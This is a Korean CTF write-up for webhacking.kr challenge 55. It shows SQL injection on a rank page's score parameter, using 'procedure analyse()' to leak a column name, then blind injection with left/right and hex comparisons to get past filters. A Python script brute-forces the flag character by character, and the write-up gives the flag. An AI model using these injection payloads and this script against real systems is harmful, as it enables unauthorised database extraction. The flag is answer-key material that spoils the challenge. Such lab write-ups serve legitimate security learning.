webhacking.kr 55번 풀이

문제에 입장하자마자 요 귀여운 아이가 나타납니다!!
마우스를 움직이면 마우스를 따라 움직이는 게 너무 귀엽네요 ㅎ(눈도 깜빡깜빡 거려요!)
그리고 저 슬라임?이 움직임에 따라 스코어 점수도 변합니다.

score 밑에 보면 rank라는 링크가 있네요! 들어가 봅시다.

랭크 순위와, 아이디, 스코어가 순서대로 쭉 나열되어 있습니다.
그런데 보시면 스코어가 2147483647로 다 똑같습니다. (이러면 순위가 상관 없잖아요?)
어쨌든 저는 첫번째 2147483647를 클릭해 보았습니다.

그러면 위에 id : jusb3 // 2147483647 가 나타나고,
URL도 https://webhacking.kr/challenge/web-31/rank.php?score=2147483647 로 바뀐걸 볼 수 있습니다.
자 그럼 탐방은 이정도로 하고, 문제를 풀어 볼까요??

랭킹페이지의 맨 밑에 가면 이런 쿼리 문구를 하나 보여줍니다.
chall55라는 테이블에 (id, score, flag)순으로 입력한다는 것 같네요
(trim()함수는 입력받은 문자열 좌우 공백을 제거해 줍니다. 참고 --> https://araikuma.tistory.com/523)
위의 저 쿼리문을 이용해서 flag를 알아내 봅시다.
일단 세번째 자리에 flag가 있으니, 세번째 컬럼명을 알아내야 합니다.
그러기 위해선 우리는 아래 함수를 사용해 봅시다!
procedure analyse();
(이 함수는 각 칼럼들에 대한 해당 테이블을 분석한 결과를 보여준다. )
위 함수를 사용하면
DB명.TABLE명.COLUMN명
순으로 데이터를 출력해 주는 아주 착한 함수입니다!
그런데 우리는 3번째 컬럼 명을 알아야 하니, limit 2,1 를 달아주고,
trim 함수를 우회하기 위해 공백 대신 %20을 넣어줍시다.

아래는 그렇게 해서 탄생한 문구입니다.
?score=1%20limit%202,1%20procedure%20analyse()
위 URL를 넣어주면,

DB: webhacking TABLE: chall55, 3rd COLUMN: p4ssw0rd_1123581321
이 3가지를 알 수 있습니다.
이제 마지막으로 해야할 게 하나 남았습니다. 바로 컬럼명을 이용해 flag를 알아내는 것!
이 때는 바로 Blind SQL Injection을 이용해야 합니다.
일단 참과 거짓일 때의 반응을 보면,
참: ?score=2147483647%20and%201=1

거짓: ?score=2147483647%20and%201=2

참일때는 id와 스코어 점수가 나타나고, 거짓일 때는 아무것도 나타나지 않습니다.
먼저 길이를 알아내 봅시다.
간단하게 flag가 10 이상인지 알아볼까요?
score=2147483647%20and%20length(p4ssw0rd_1123581321)>10 를 입력해 봅시다.
결과는 참입니다.
그렇게 점점 범위를 좁혀가다 보면, length(p4ssw0rd_1123581321)=31 이라는 걸 알 수 있습니다.
결론: flag길이 = 31
이제 31자리 flag를 알아내 봅시다.
기본적으로 이 때는 substr함수를 많이 사용하는데
이번에는 substr 함수가 막혔기 때문에 left, rignt 함수를 사용한다.
substr(문자열, S, N): 문자열의 S번째에서 N만큼 문자열 반환
left(문자열, N): 문자열의 왼쪽에서 N만큼 문자열 반환
right(문자열, N): 문자열의 오른쪽에서 N만큼 문자열 반환
substr('password', 1, 1)== right(left('password',1),1) ----> 'p'
substr('password',N,1)==right(left('password', N,),1) ----> N번째 문자
자 그럼 flag는 flag{~~} 형식(대소문자 상관x)으로 되있는 경우가 많으니, 첫글자를 시험삼아 시도해봅시다.
'(따음표)가 필터링 됩니다. ascii도 필터링 되고, 다행이 0x값은 통과되네요.
right(left(p4ssw0rd_1123581321,1),1)=0x66(f의 hex값) --> 참
right(left(p4ssw0rd_1123581321,2),1)=0x66(l의 hex값) --> 참
flag의 맨 앞 2글자는 'fl'라는 것을 알아냈습니다.
지금이야 찍어서 되지만 flag다음 글자는 이렇게 노가다를 하다간 하루넘게 걸릴 겁니다.

우리는 파이썬을 이용해 봅시다.
import requests
headers={'PHPSESSID':'knv6oc8e775tqvhd51ghtacags'}
url ="http://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20and%20"
length=31
flag= ""
for i in range(1, length+1):
for j in range(33, 127):
query="right(left(p4ssw0rd_1123581321," +str(i)+ "),1)=" +str(hex(j))
r= requests.get(url+query, headers=headers)
if r.text.find(" jusb3") !=-1:
flag+=chr(j)
print("flag: "+flag)
break

실행!!

그렇게 해서 구한 flag: FLAG{EASY_PEASY_LEMON_SQUEEZY!}
auth 창에 들어가 입력해주면?
